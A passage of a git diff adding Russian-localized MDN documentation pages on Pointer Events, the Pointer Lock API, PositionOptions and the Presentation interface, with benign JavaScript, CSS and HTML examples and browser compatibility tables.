+   <td>Мышь перемещается без нажатых кнопок.<br>
+    Перо перемещается над планшетом в режиме "hover" без нажатых кнопок</td>
+   <td>—</td>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <td>Левая кнопка мыши, Касание пальцем, Касание пером</td>
+   <td><code>0</code></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td>Средняя кнопка мыши</td>
+   <td><code>1</code></td>
+   <td><code>4</code></td>
+  </tr>
+  <tr>
+   <td>Правая кнопка мыши, Кнопка пера</td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <td>Кнопка мыши X1 (назад)</td>
+   <td><code>3</code></td>
+   <td><code>8</code></td>
+  </tr>
+  <tr>
+   <td>Кнопка мыши X2 (вперёд)</td>
+   <td><code>4</code></td>
+   <td><code>16</code></td>
+  </tr>
+  <tr>
+   <td>Кнопка пера "ластик"</td>
+   <td><code>5</code></td>
+   <td><code>32</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Свойство <code>button</code> указывает на изменение состояния кнопки. Однако, как и в случае с касанием, когда одно событие влечёт за собой ещё несколько событий, все они имеют одинаковое значение.</p>
+</div>
+
+<h2 id="Pointer_capture">Pointer capture</h2>
+
+<p>Pointer capture allows events for a particular {{domxref("PointerEvent","pointer event")}} to be re-targeted to a particular element instead of the normal <a href="#term_hit_test">hit test</a> at a pointer's location. This can be used to ensure that an element continues to receive pointer events even if the pointer device's contact moves off the element (for example by scrolling).</p>
+
+<p>The following example shows pointer capture being set on an element.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+&lt;script&gt;
+  function downHandler(ev) {
+    let el = document.getElementById("target");
+    // Element 'target' will receive/capture further events
+    el.setPointerCapture(ev.pointerId);
+  }
+
+  function init() {
+    let el = document.getElementById("target");
+    el.onpointerdown = downHandler;
+  }
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+  &lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>The following example shows a pointer capture being released (when a {{event("pointercancel")}} event occurs. The browser does this automatically when a {{event("pointerup")}} or {{event("pointercancel")}} event occurs.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+  &lt;script&gt;
+    function downHandler(ev) {
+      let el = document.getElementById("target");
+      // Element "target" will receive/capture further events
+      el.setPointerCapture(ev.pointerId);
+    }
+
+    function cancelHandler(ev) {
+      let el = document.getElementById("target");
+      // Release the pointer capture
+      el.releasePointerCapture(ev.pointerId);
+    }
+
+    function init() {
+      let el = document.getElementById("target");
+      // Register pointerdown and pointercancel handlers
+      el.onpointerdown = downHandler;
+      el.onpointercancel = cancelHandler;
+    }
+  &lt;/script&gt;
+  &lt;body onload="init();"&gt;
+    &lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="touch-action_CSS_property">touch-action CSS property</h2>
+
+<p>The {{cssxref("touch-action")}} CSS property is used to specify whether or not the browser should apply its default (<em>native</em>) touch behavior (such as zooming or panning) to a region. This property may be applied to all elements except: non-replaced inline elements, table rows, row groups, table columns, and column groups.</p>
+
+<p>A value of <code>auto</code> means the browser is free to apply its default touch behavior (to the specified region) and the value of <code>none</code> disables the browser's default touch behavior for the region. The values <code>pan-x</code> and <code>pan-y</code>, mean that touches that begin on the specified region are only for horizontal and vertical scrolling, respectively. The value <code>manipulation</code> means the browser may consider touches that begin on the element are only for scrolling and zooming.</p>
+
+<p>In the following example, the browser's default touch behavior is disabled for the <code>div</code> element.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+  &lt;body&gt;
+    &lt;div style="touch-action:none;"&gt;Can't touch this ... &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>In the following example, default touch behavior is disabled for some <code>button</code> elements.</p>
+
+<pre class="brush: css notranslate">button#tiny {
+  touch-action: none;
+}
+</pre>
+
+<p>In the following example, when the <code>target</code> element is touched, it will only pan in the horizontal direction.</p>
+
+<pre class="brush: css notranslate">#target {
+  touch-action: pan-x;
+}
+</pre>
+
+<h2 id="Compatibility_with_mouse_events">Compatibility with mouse events</h2>
+
+<p>Although the pointer event interfaces enable applications to create enhanced user experiences on pointer enabled devices, the reality is the vast majority of today's web content is designed to only work with mouse input. Consequently, even if a browser supports pointer events, the browser must still process mouse events so content that assumes mouse-only input will work as is without direct modification. Ideally, a pointer enabled application does not need to explicitly handle mouse input. However, because the browser must process mouse events, there may be some compatibility issues that need to be handled. This section contains information about pointer event and mouse event interaction and the ramifications for application developers.</p>
+
+<p>The browser <em>may map generic pointer input to mouse events for compatibility with mouse-based content</em>. This mapping of events is called <em>compatibility mouse events</em>. Authors can prevent the production of certain compatibility mouse events by canceling the pointerdown event but note that:</p>
+
+<ul>
+ <li>Mouse events can only be prevented when the pointer is down.</li>
+ <li>Hovering pointers (e.g. a mouse with no buttons pressed) cannot have their mouse events prevented.</li>
+ <li>The <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code>, and <code>mouseleave</code> events are never prevented (even if the pointer is down).</li>
+</ul>
+
+<h2 id="Best_practices">Best practices</h2>
+
+<p>Here are some <em>best practices</em> to consider when using pointer events:</p>
+
+<ul>
+ <li>Minimize the amount of work performed in event handlers.</li>
+ <li>Add the event handlers to a specific target element (rather than the entire document or nodes higher up in the document tree).</li>
+ <li>The target element (node) should be large enough to accommodate the largest contact surface area (typically a finger touch). If the target area is too small, touching it could result in firing other events for adjacent elements.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Pointer Events 3')}}</td>
+   <td>{{Spec2('Pointer Events 3')}}</td>
+   <td>Added new APIs for <code>getCoalescedEvent</code> and <code>getPredictedEvents</code>, new <code>pointerrawupdate</code> event, additional <code>touch-action</code> property values <code>pan-left</code>, <code>pan-right</code>, <code>pan-up</code>, <code>pan-down</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Adds <code>hasPointerCapture</code> method and clarifies more edge cases and dynamic scenarios. </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility"><span>Browser compatibility</span></h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.PointerEvent")}}</p>
+
+<p>Some new values have been defined for the {{cssxref("touch-action", "CSS touch-action")}} property as part of the {{SpecName('Pointer Events 3')}} specification but currently those new values have limited implementation support.</p>
+
+<h2 id="Demos_and_examples">Demos and examples</h2>
+
+<ul>
+ <li><a href="http://patrickhlauke.github.io/touch/">Touch/pointer tests and demos (by Patrick H. Lauke)</a></li>
+</ul>
+
+<h2 id="Community">Community</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/pointerevents">Pointer Events Working Group</a></li>
+ <li><a href="http://lists.w3.org/Archives/Public/public-pointer-events/">Mail list</a></li>
+ <li><a href="irc://irc.w3.org:6667/">W3C #pointerevents IRC channel</a></li>
+</ul>
+
+<h2 id="Related_topics_and_resources">Related topics and resources</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/touch-events/">Touch Events Standard</a></li>
+</ul>
diff --git a/files/ru/web/api/pointer_lock_api/index.html b/files/ru/web/api/pointer_lock_api/index.html
new file mode 100644
index 0000000000..7c70e8f15b
--- /dev/null
+++ b/files/ru/web/api/pointer_lock_api/index.html
@@ -0,0 +1,325 @@
+---
+title: Pointer Lock API
+slug: Web/API/Pointer_Lock_API
+translation_of: Web/API/Pointer_Lock_API
+---
+<p><span class="seoSummary"><strong>Pointer lock</strong> <strong>API</strong>(прежнее название Mouse Lock API) </span><span style="line-height: 1.5;">обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора </span><span style="line-height: 1.5;">в окне. Это дает вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу </span><span style="line-height: 1.5;">в окне браузера</span><span style="line-height: 1.5;">, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.</span></p>
+
+<p>Более того, API полезно для любых приложений, которые используют данные мыши для управления движениями, вращения обьектов и изменения записей. Например пользователь может управлять наклоном просто двигая мышь, не нажимая ни на какие кнопки. Сами кнопки освобождаются под другие задачи. Примерами могут послужить  программы для просмотра карт или спутниковой съемки.</p>
+
+<p>Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушел за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперед, не боясь покинуть игровое поле и случайно переключится на другое приложение.</p>
+
+<h2 id="basics" name="basics">Основные концепции</h2>
+
+<p>Pointer lock is related to <a href="/en/DOM/element.setCapture" title="element.setCapture">mouse capture</a>. Mouse capture provides continued delivery of events to a target element while a mouse is being dragged, but it stops when the mouse button is released. Pointer lock is different from mouse capture in the following ways:</p>
+
+<ul>
+ <li>It is persistent: Pointer lock does not release the mouse until an explicit API call is made or the user uses a specific release gesture.</li>
+ <li>It is not limited by browser or screen boundaries.</li>
+ <li>It continues to send events regardless of mouse button state.</li>
+ <li>It hides the cursor.</li>
+</ul>
+
+<h2 id="method_overview" name="method_overview">Обзор методов/свойств</h2>
+
+<p>Этот раздел содержит краткое описание каждого свойства и метода, связанного со спецификацией блокировки указателя.</p>
+
+<h3 id="requestPointerLock()">requestPointerLock()</h3>
+
+<p>The Pointer lock API, similar to the <a href="/en-US/docs/Web/Guide/API/DOM/Using_full_screen_mode">Fullscreen API</a>, extends DOM elements by adding a new method, {{domxref("Element.requestPointerLock","requestPointerLock")}}, which is vendor-prefixed for now. You would currently declare it something like this, for example if you wanted to request pointer lock on a <code>canvas</code> element.:</p>
+
+<pre class="brush: js">canvas.requestPointerLock = canvas.requestPointerLock ||
+                            canvas.mozRequestPointerLock ||
+                            canvas.webkitRequestPointerLock;
+
+canvas.requestPointerLock()
+</pre>
+
+<h3 id="pointerLockElement_and_exitPointerLock()">pointerLockElement and exitPointerLock()</h3>
+
+<p>The Pointer lock API also extends the {{domxref("Document")}} interface, adding both a new property and a new method. The new property is used for accessing the currently locked element (if any), and is named {{domxref("Document.pointerLockElement","pointerLockElement")}}, which is vendor-prefixed for now. The new method on {{domxref("Document")}} is {{domxref("Document.exitPointerLock","exitPointerLock")}} and, as the name implies, it is used to exit Pointer lock.</p>
+
+<p>The {{domxref("Document.pointerLockElement","pointerLockElement")}} property is useful for determining if any element is currently pointer locked (e.g., for doing a boolean check) and also for obtaining a reference to the locked element, if any.</p>
+
+<p>Here is an example of using <code>pointerLockElement</code>:</p>
+
+<pre class="brush: js"><span class="idlInterface" id="idl-def-MouseLockable"><span class="idlInterface" id="idl-def-MouseLockable">if(document.pointerLockElement === canvas ||
+  document.mozPointerLockElement === canvas ||
+  document.webkitPointerLockElement === canvas) {
+    console.log('The pointer lock status is now locked');
+} else {
+    console.log('The pointer lock status is now unlocked');
+}</span></span></pre>
+
+<p>The {{domxref("Document.exitPointerLock")}} method is used to exit pointer lock, and like {{domxref("Element.requestPointerLock","requestPointerLock")}}, works asynchronously using the {{event("pointerlockchange")}} and {{event("pointerlockerror")}} events, which you'll see more about below.</p>
+
+<pre class="brush: js">document.exitPointerLock = document.exitPointerLock    ||
+                           document.mozExitPointerLock ||
+                           document.webkitExitPointerLock;
+
+// Attempt to unlock
+document.exitPointerLock();
+</pre>
+
+<h2 id="mouselocklostevent" name="mouselocklostevent">pointerlockchange event</h2>
+
+<p>When the Pointer lock state changes—for example, when calling {{domxref("Element.requestPointerLock","requestPointerLock")}}, {{domxref("Document.exitPointerLock","exitPointerLock")}}, the user pressing the ESC key, etc.—the {{event("pointerlockchange")}} event is dispatched to the <code>document</code>. This is a simple event and contains no extra data.</p>
+
+<pre class="brush: js">if ("onpointerlockchange" in document) {
+  document.addEventListener('pointerlockchange', lockChangeAlert, false);
+} else if ("onmozpointerlockchange" in document) {
+  document.addEventListener('mozpointerlockchange', lockChangeAlert, false);
+} else if ("onwebkitpointerlockchange" in document) {
+  document.addEventListener('webkitpointerlockchange', lockChangeAlert, false);
+}
+
+function lockChangeAlert() {
+  if(document.pointerLockElement === canvas ||
+  document.mozPointerLockElement === canvas ||
+  document.webkitPointerLockElement === canvas) {
+    console.log('The pointer lock status is now locked');
+    // Do something useful in response
+  } else {
+    console.log('The pointer lock status is now unlocked');
+    // Do something useful in response
+  }
+}</pre>
+
+<h2 id="mouselocklostevent" name="mouselocklostevent">pointerlockerror event</h2>
+
+<p>When there is an error caused by calling {{domxref("Element.requestPointerLock","requestPointerLock")}} or {{domxref("Document.exitPointerLock","exitPointerLock")}}, the {{event("pointerlockerror")}} event is dispatched to the <code>document</code>. This is a simple event and contains no extra data.</p>
+
+<pre class="brush: js">document.addEventListener('pointerlockerror', lockError, false);
+document.addEventListener('mozpointerlock<span style="font-size: 1rem;">error</span><span style="font-size: 1rem;">', lockError, false);</span>
+document.addEventListener('webkitpointerlock<span style="font-size: 1rem;">error</span><span style="font-size: 1rem;">', lockError, false);</span>
+
+function lockError(e) {
+  alert("Pointer lock failed");
+}</pre>
+
+<div class="note"><strong>Note</strong>: The above events are currently prefixed with <code>moz</code> in Firefox and <code>webkit</code> in Chrome. </div>
+
+<h2 id="extensions" name="extensions">Extensions to mouse events</h2>
+
+<p>The Pointer lock API extends the normal {{domxref("MouseEvent")}} interface with movement attributes.</p>
+
+<pre class="idl"><span class="idlInterface" id="idl-def-MouseEvent">partial interface <span class="idlInterfaceID">MouseEvent</span> {
+<span class="idlAttribute">    readonly attribute <span class="idlAttrType"><a>long</a></span> <span class="idlAttrName"><a href="http://dvcs.w3.org/hg/webevents/raw-file/default/mouse-lock.html#widl-MouseEvent-movementX">movementX</a></span>;</span>
+<span class="idlAttribute">    readonly attribute <span class="idlAttrType"><a>long</a></span> <span class="idlAttrName"><a href="http://dvcs.w3.org/hg/webevents/raw-file/default/mouse-lock.html#widl-MouseEvent-movementY">movementY</a></span>;</span>
+};</span></pre>
+
+<div class="note">The movement attributes are currently prefixed as <code>.mozMovementX</code> and <code>.mozMovementY</code> in Firefox, and<code>.webkitMovementX</code> and <code>.webkitMovementY</code> in Chrome.</div>
+
+<p>Two new parameters to mouse events—{{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}}—provide the change in mouse positions. The values of the parameters are the same as the difference between the values of {{domxref("MouseEvent")}} properties, {{domxref("MouseEvent.screenX","screenX")}} and {{domxref("MouseEvent.screenY","screenY")}}, which are stored in two subsequent {{event("mousemove")}} events, <code>eNow</code> and <code>ePrevious</code>. In other words, the Pointer lock parameter <code>movementX = eNow.screenX - ePrevious.screenX</code>.</p>
+
+<h3 id="locked_state" name="locked_state">Locked state</h3>
+
+<p>When Pointer lock is enabled, the standard {{domxref("MouseEvent")}} properties {{domxref("MouseEvent.clientX","clientX")}}, {{domxref("MouseEvent.clientY","clientY")}}, {{domxref("MouseEvent.screenX","screenX")}}, and {{domxref("MouseEvent.screenY","screenY")}} are held constant, as if the mouse is not moving. The {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} properties continue to provide the mouse's change in position. There is no limit to {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} values if the mouse is continuously moving in a single direction. The concept of the mouse cursor does not exist and the cursor cannot move off the window or be clamped by a screen edge.</p>
+
+<h3 id="unlocked_state" name="unlocked_state">Unlocked state</h3>
+
+<p>The parameters {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} are valid regardless of the mouse lock state, and are available even when unlocked for convenience.</p>
+
+<p>When the mouse is unlocked, the system cursor can exit and re-enter the browser window. If that happens, {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} could be set to zero.</p>
+
+<h2 id="example" name="example">Simple example walkthrough</h2>
+
+<p>We've written a <a href="http://mdn.github.io/pointer-lock-demo/">simple pointer lock demo</a> to show you how to use it to set up a simple control system (<a href="https://github.com/mdn/pointer-lock-demo">see source code</a>). The demo looks like this:</p>
+
+<p><img alt="A red circle on top of a black background." src="https://mdn.mozillademos.org/files/7953/pointer-lock.png" style="display: block; height: 362px; margin: 0px auto; width: 640px;"></p>
+
+<p>This demo uses JavaScript to draw a ball on top of an {{ htmlelement("canvas") }} element. When you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse. Let's see how this works.</p>
+
+<p>Set initial x and y positions on the canvas:</p>
+
+<pre class="brush: js">var x = 50;
+var y = 50;</pre>
+
+<p>The <code>canvasDraw()</code> function draws the ball in the current x and y positions, but it also includes <code>if()</code> statements to check whether the ball has gone off the edges of the canvas. If so, it makes the ball wrap around to the opposite edge.</p>
+
+<pre class="brush: js">function canvasDraw() {
+  if(x &gt; canvas.clientWidth+20) {
+    x = 0;
+  }
+
+  if(y &gt; canvas.clientHeight+20) {
+    y = 0;
+  }
+
+  if(x &lt; -20) {
+    x = canvas.clientWidth;
+  }
+
+  if(y &lt; -20) {
+    y = canvas.clientHeight;
+  }
+
+  ctx.fillStyle = "black";
+  ctx.fillRect(0,0,canvas.clientWidth,canvas.clientHeight);
+  ctx.fillStyle = "#f00";
+
+  ctx.beginPath();
+  ctx.arc(x,y,20,0,degToRad(360), true);
+  ctx.fill();
+}</pre>
+
+<p>The pointer lock methods are currently prefixed, so next we'll fork them for the different browser implementations.</p>
+
+<pre class="brush: js">canvas.requestPointerLock = canvas.requestPointerLock ||
+           canvas.mozRequestPointerLock ||
+           canvas.webkitRequestPointerLock;
+// pointer lock object forking for cross browser
+
+document.exitPointerLock = document.exitPointerLock ||
+         document.mozExitPointerLock ||
+         document.webkitExitPointerLock;
+//document.exitPointerLock();</pre>
+
+<p>Now we set up an event listener to run the requestPointerLock() method on the canvas when it is clicked, which initiates pointer lock.</p>
+
+<pre class="brush: js">canvas.onclick = function() {
+  canvas.requestPointerLock();
+}</pre>
+
+<p>Now for the dedicated pointer lock event listener: <code>pointerlockchange</code>. When this occurs, we run a function called <code>lockChangeAlert()</code> to handle the change.</p>
+
+<pre class="brush: js">// pointer lock event listener
+
+// Hook pointer lock state change events for different browsers
+document.addEventListener('pointerlockchange', lockChangeAlert, false);
+document.addEventListener('mozpointerlockchange', lockChangeAlert, false);
+document.addEventListener('webkitpointerlockchange', lockChangeAlert, false);</pre>
+
+<p>This function checks the pointLockElement property to see if it is our canvas. If so, it attached an event listener to handle the mouse movements with the <code>canvasLoop()</code> function. If not, it removes the event listener again.</p>
+
+<pre class="brush: js">function lockChangeAlert() {
+  if(document.pointerLockElement === canvas ||
+  document.mozPointerLockElement === canvas ||
+  document.webkitPointerLockElement === canvas) {
+    console.log('The pointer lock status is now locked');
+    document.addEventListener("mousemove", canvasLoop, false);
+  } else {
+    console.log('The pointer lock status is now unlocked');
+    document.removeEventListener("mousemove", canvasLoop, false);
+  }
+}</pre>
+
+<p>A tracker is set up to write out the X and Y values to the screen, for reference.</p>
+
+<pre class="brush: js">  var tracker = document.createElement('p');
+  var body = document.querySelector('body');
+  body.appendChild(tracker);
+  tracker.style.position = 'absolute';
+  tracker.style.top = '0';
+  tracker.style.right = '10px';
+  tracker.style.backgroundColor = 'white';</pre>
+
+<p>The <code>canvasLoop()</code> function first forks the <code>movementX</code> and <code>movementY</code> properties, as they are also prefixed currently in some browsers. It then adds those property's values to x and y, and reruns <code>canvasDraw()</code> with those new values so the ball position is updated. Finally, we use <code>requestAnimationFrame()</code> to run the loop again and again.</p>
+
+<pre>function canvasLoop(e) {
+  var movementX = e.movementX ||
+      e.mozMovementX          ||
+      e.webkitMovementX       ||
+      0;
+
+  var movementY = e.movementY ||
+      e.mozMovementY      ||
+      e.webkitMovementY   ||
+      0;
+
+  x += movementX;
+  y += movementY;
+
+  canvasDraw();
+
+  var animation = requestAnimationFrame(canvasLoop);
+
+  tracker.innerHTML = "X position: " + x + ', Y position: ' + y;
+}</pre>
+
+<h2 id="iframe_limitations">iframe limitations</h2>
+
+<p>Pointer lock can only lock one iframe at a time. If you lock one iframe, you cannot try to lock another iframe and transfer the target to it; Pointer lock will error out. To avoid this limitation, first unlock the locked iframe, and then lock the other.</p>
+
+<p>While iframes work by default, "sandboxed" iframes block Pointer lock. The ability to avoid this limitation, in the form of the attribute/value combination <code>&lt;iframe sandbox="allow-pointer-lock"&gt;</code>, is expected to appear in Chrome soon.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Pointer Lock')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>Yes {{ property_prefix("webkit") }}</p>
+   </td>
+   <td>
+    <p>Yes {{ property_prefix("gecko") }}</p>
+   </td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("MouseEvent")}}</li>
+</ul>
diff --git a/files/ru/web/api/positionoptions/index.html b/files/ru/web/api/positionoptions/index.html
new file mode 100644
index 0000000000..3b0653b12b
--- /dev/null
+++ b/files/ru/web/api/positionoptions/index.html
@@ -0,0 +1,105 @@
+---
+title: PositionOptions
+slug: Web/API/PositionOptions
+translation_of: Web/API/PositionOptions
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p>Интерфейс <strong><code>PositionOptions</code></strong> описывает объект содержащий свойства передаваемые как параметр в {{domxref("Geolocation.getCurrentPosition()")}} и {{domxref("Geolocation.watchPosition()")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>PositionOptions</code> не наследует никаких других свойств</em>.</p>
+
+<dl>
+ <dt>{{domxref("PositionOptions.enableHighAccuracy")}}</dt>
+ <dd>{{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточненный результат. Если <code>true</code> и устройство поддерживает расширенный поиск локации, то он будет осуществлен. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если <code>false</code>, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: <code>false</code>.</dd>
+ <dt>{{domxref("PositionOptions.timeout")}}</dt>
+ <dd>Положительное число в милисекундах, устанавливающее время, за которое устройство должно вернуть результат. По умолчанию это значение <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>, что значит, <code>getCurrentPosition()</code> будет работать до тех пор пока не определит положение устройства.</dd>
+ <dt>{{domxref("PositionOptions.maximumAge")}}</dt>
+ <dd>Положительное число указывающее максимально возможное время для кэширования результатов поиска положения устройства. Если установить <code>0</code>, это будет означать, что устройство не будет кэшировать позицию и будет всегда возвращать результат нового поиска. Если установить <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a>,</code> устройство всегда будет возвращать результат первого поиска. По умолчанию: 0.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><code>Интерфейс PositionOptions</code> не реализует и не наследует никаких методов.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Также_можно_посмотреть">Также можно посмотреть</h2>
+
+<ul>
+ <li><a href="Geolocation/Using_geolocation">Использование геолокации</a></li>
+ <li>The {{domxref("Geolocation")}} interface that uses it.</li>
+</ul>
diff --git a/files/ru/web/api/presentation/index.html b/files/ru/web/api/presentation/index.html
new file mode 100644
index 0000000000..6e5666bf7a
--- /dev/null
+++ b/files/ru/web/api/presentation/index.html
@@ -0,0 +1,107 @@
+---
+title: Presentation
+slug: Web/API/Presentation
+tags:
+  - АПИ
+  - Интерфейс
+  - Презентация
+  - Презентация АПИ
+  - Ссылка
+  - Экспериментальный
+translation_of: Web/API/Presentation
+---
+<p>{{APIRef("Presentation API")}}</p>
+
+<p>The <dfn><code>Presentation</code></dfn> can be defined as two possible user agents in the context: <span><em>Controlling user agent</em> </span>and <em><span>Receiving user agent</span></em>.</p>
+
+<p>In controlling browsing context, the <a class="external internalDFN external-icon" href="https://www.w3.org/TR/presentation-api/#dfn-presentation"><code>Presentation</code></a> interface provides a mechanism to override the browser default behavior of launching presentation to external screen. In receiving browsing context, <code>Presentation</code> interface provides the access to the available presentation connections.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Presentation.defaultRequest")}}</dt>
+ <dd>In a <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-controlling-user-agent">controlling user agent</a>, the <dfn><code>defaultRequest</code></dfn> attribute <em>MUST</em> return the <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-default-presentation-request">default presentation request</a> if any, <code>null</code> otherwise. In a <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-receiving-browsing-context">receiving browsing context</a>, it <em>MUST</em> return <code>null</code>.</dd>
+ <dt>{{domxref("Presentation.receiver")}}</dt>
+ <dd>In a <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-receiving-user-agent">receiving user agent</a>, the <dfn><code>receiver</code></dfn> attribute <em>MUST</em> return the <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#idl-def-presentationreceiver"><code><code>PresentationReceiver</code></code></a> instance associated with the <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-receiving-browsing-context">receiving browsing context</a> and created by the <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-receiving-user-agent">receiving user agent</a> when the <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-receiving-browsing-context">receiving browsing context</a> is created.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>None.</p>
+
+<p> </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
